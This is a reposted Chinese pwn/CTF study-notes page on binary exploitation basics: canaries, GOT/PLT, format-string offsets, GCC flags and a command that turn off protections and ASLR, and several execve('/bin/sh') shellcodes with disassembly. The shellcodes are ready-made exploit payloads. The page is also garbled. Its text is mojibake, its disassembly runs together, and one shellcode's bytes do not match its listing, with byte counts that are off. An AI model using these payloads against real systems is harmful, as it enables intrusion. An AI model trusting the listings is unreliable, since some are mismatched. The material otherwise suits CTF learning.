pwn学习总结(二) —— 基础知识(持续更新)
pwn學(xué)習(xí)總結(jié)(二) —— 基礎(chǔ)知識(shí)(持續(xù)更新)
- Canary
- PLT表&GOT表
- 格式化字符串漏洞
- GCC編譯參數(shù)
- ASLR
- 危險(xiǎn)函數(shù)
- 輸入流
- syscall條件
- shellcode
- 其它
Canary
描述:溢出保護(hù)
GCC設(shè)置Canary:
結(jié)構(gòu):
HighAddress | |+-----------------+| args |+-----------------+| return address |+-----------------+rbp => | old ebp |+-----------------+rbp-8 => | canary value |+-----------------+| 局部變量 |Low | |AddressPLT表&GOT表
PLT表:指向GOT表,作用是動(dòng)態(tài)加載函數(shù)地址
GOT表:位于數(shù)據(jù)段,函數(shù)被調(diào)用時(shí),成員為函數(shù)在內(nèi)存中的實(shí)際地址
格式化字符串漏洞
%1$p:RSI
%2$p:RDX
%3$p:RCX
%4$p:R8
%5$p:R9
%6$p:RSP[0]
%7$p:RSP[1]
…
GCC編譯參數(shù)
-m32:編譯為32位程序
-fno-stack-protector:關(guān)閉棧溢出保護(hù)
-no-pie:關(guān)閉pie
-z execstack:關(guān)閉NX保護(hù)
-z norelro:關(guān)閉relro
-z lazy:開啟relro,等級(jí)為1
-z now:開啟relro,等級(jí)為2
-fpie -pie:開啟pie,此時(shí)強(qiáng)度為1
-fPIE -pie:開啟pie,此時(shí)最高強(qiáng)度為2
-z noexecstack:開啟NX保護(hù)
清除調(diào)試信息(符號(hào)):strip elf
ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
0:關(guān)閉 ASLR,沒有隨機(jī)化。棧、堆、.so 的基地址每次都相同。
1:普通的 ASLR。棧基地址、mmap 基地址、.so 加載基地址都將被隨機(jī)化,但是堆基地址沒有隨機(jī)化。
2:增強(qiáng)的 ASLR,在 1 的基礎(chǔ)上,增加了堆基地址隨機(jī)化。
危險(xiǎn)函數(shù)
輸入:
- gets,直接讀取一行,忽略’\x00’
- scanf
- vscanf
輸出:
- sprintf
字符串:
- strcpy,字符串復(fù)制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
輸入流
標(biāo)準(zhǔn)輸入:stdin (0)
標(biāo)準(zhǔn)輸出:stdout(1)
標(biāo)準(zhǔn)錯(cuò)誤輸出:stderr (2)
文件輸入:open(3)
syscall條件
系統(tǒng)調(diào)用號(hào),即 eax 應(yīng)該為 0xb 第一個(gè)參數(shù),即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以。 第二個(gè)參數(shù),即 ecx 應(yīng)該為 0 第三個(gè)參數(shù),即 edx 應(yīng)該為 0shellcode
字節(jié)數(shù):44
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
0x0 push 0x680x2 push 0x732f2f2f0x7 push 0x6e69622f0xc mov ebx, esp0xe push 0x10101010x13 xor dword ptr [esp], 0x10169720x1a xor ecx, ecx0x1c push ecx0x1d push 40x1f pop ecx0x20 add ecx, esp0x22 push ecx0x23 mov ecx, esp0x25 xor edx, edx0x27 push 0xb0x29 pop eax0x2a int 0x80字節(jié)數(shù):21
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
0x0 xor ecx, ecx0x2 mul ecx0x4 mov al, 0xb0x6 push ecx0x7 push 0x68732f2f0xc push 0x6e69622f0x11 mov ebx, esp0x13 int 0x80字節(jié)數(shù):30
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a
0x0 dec eax 0x1 xor edx, edx 0x3 dec eax 0x4 mov ebx, 0x69622f2f 0x9 outsb dx, byte ptr [esi] 0xa das 0xb jae 0x75 0xd dec eax 0xe shr ebx, 8 0x11 push ebx 0x12 dec eax 0x13 mov edi, esp 0x15 push eax 0x16 push edi 0x17 dec eax 0x18 mov esi, esp 0x1a mov al, 0x3b 0x1c syscall字節(jié)數(shù):24
\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80
0x00 3E31C0 ds xor eax,eax 0x03 31D2 xor edx,edx 0x05 52 push edx 0x06 682F2F7368 push dword 0x68732f2f 0x0B 682F62696E push dword 0x6e69622f 0x10 89E3 mov ebx,esp 0x12 31C9 xor ecx,ecx 0x14 B00B mov al,0xb 0x16 CD80 int 0x80字節(jié)數(shù):24
\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
00000000 6A3B push byte +0x3b 00000002 58 pop eax 00000003 99 cdq 00000004 52 push edx 00000005 48 dec eax 00000006 BB2F2F6269 mov ebx,0x69622f2f 0000000B 6E outsb 0000000C 2F das 0000000D 7368 jnc 0x77 0000000F 53 push ebx 00000010 54 push esp 00000011 5F pop edi 00000012 52 push edx 00000013 57 push edi 00000014 54 push esp 00000015 5E pop esi 00000016 0F05 syscall其它
‘$0’ = ‘/bin/sh’
總結(jié)
以上是生活随笔為你收集整理的pwn学习总结(二) —— 基础知识(持续更新)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pwn学习总结(一) —— 常用命令
- 下一篇: pwn学习总结(三) —— 栈溢出经典题